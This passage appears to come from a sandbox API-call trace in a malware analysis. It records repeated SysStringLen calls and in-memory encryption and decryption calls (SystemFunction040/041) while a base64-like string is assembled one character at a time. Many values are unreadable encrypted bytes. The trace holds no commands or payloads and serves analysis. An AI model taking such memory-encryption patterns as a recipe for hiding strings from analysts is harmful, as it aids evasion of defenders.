(param_1="NDZl") returned 0x8 [0246.107] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.107] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0246.107] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0246.107] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.107] SysStringLen (param_1="NDZlO") returned 0x8 [0246.107] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.107] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0246.107] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0246.107] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.108] SysStringLen (param_1="NDZlOD") returned 0x8 [0246.108] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.108] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0246.108] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0246.108] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.108] SysStringLen (param_1="NDZlODR") returned 0x8 [0246.108] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.108] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0246.108] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0246.108] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.108] SysStringLen (param_1="NDZlODRm") returned 0x8 [0246.108] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.108] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0246.109] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0246.109] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0246.109] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0246.109] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.109] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0246.109] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.109] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0246.109] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0246.109] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.119] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0246.119] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.119] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0246.119] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0246.119] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.119] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0246.119] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.119] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0246.119] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0246.119] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.120] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0246.120] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.120] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0246.120] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0246.120] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.120] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0246.120] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.120] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0246.120] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0246.120] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.120] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0246.120] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.121] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0246.121] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0246.121] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.121] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0246.121] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.121] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0246.121] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0246.121] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.121] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0246.121] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.121] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0246.122] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0246.122] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0246.122] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0246.122] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.122] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0246.122] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.123] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0246.123] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0246.123] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.123] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0246.123] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.123] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0246.123] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0246.123] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.123] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0246.123] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.123] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0246.123] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0246.123] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.124] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0246.124] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.124] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0246.124] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0246.124] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.124] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0246.124] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.124] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0246.124] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0246.124] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.124] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0246.124] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.125] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0246.125] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0246.125] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.125] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0246.125] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.125] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0246.125] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0246.125] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.125] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0246.125] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.125] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0246.126] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0246.126] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0246.126] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0246.126] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.126] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0246.126] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.126] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0246.126] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0246.126] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.127] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0246.127] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.127] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0246.127] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0246.127] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.127] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0246.127] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.127] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0246.127] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0246.127] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.127] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0246.127] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.128] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0246.128] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0246.128] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.128] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0246.128] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.128] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0246.128] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0246.128] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.128] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0246.128] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.128] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0246.128] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0246.128] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.129] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0246.129] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.129] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0246.129] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0246.129] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.129] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0246.129] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.129] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0246.129] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0246.129] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0246.130] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0246.130] SystemFunction041 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.130] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0246.130] SystemFunction040 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.130] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0246.130] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0246.130] SystemFunction041 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.130] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0246.130] SystemFunction040 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.130] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0246.130] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0246.130] SystemFunction041 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.131] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0246.131] SystemFunction040 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.131] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0246.131] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0246.131] SystemFunction041 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.131] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0246.131] SystemFunction040 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.131] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0246.131] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0246.131] SystemFunction041 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.131] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0246.131] SystemFunction040 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.132] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0246.132] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0246.132] SystemFunction041 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.132] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0246.132] SystemFunction040 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.132] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0246.132] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0246.132] SystemFunction041 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.132] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0246.132] SystemFunction040 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.132] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0246.132] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0246.132] SystemFunction041 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.133] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0246.133] SystemFunction040 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.133] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0246.133] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0246.133] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0246.133] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0246.133] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0246.133] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0246.133] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0246.134] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0246.134] SysStringLen 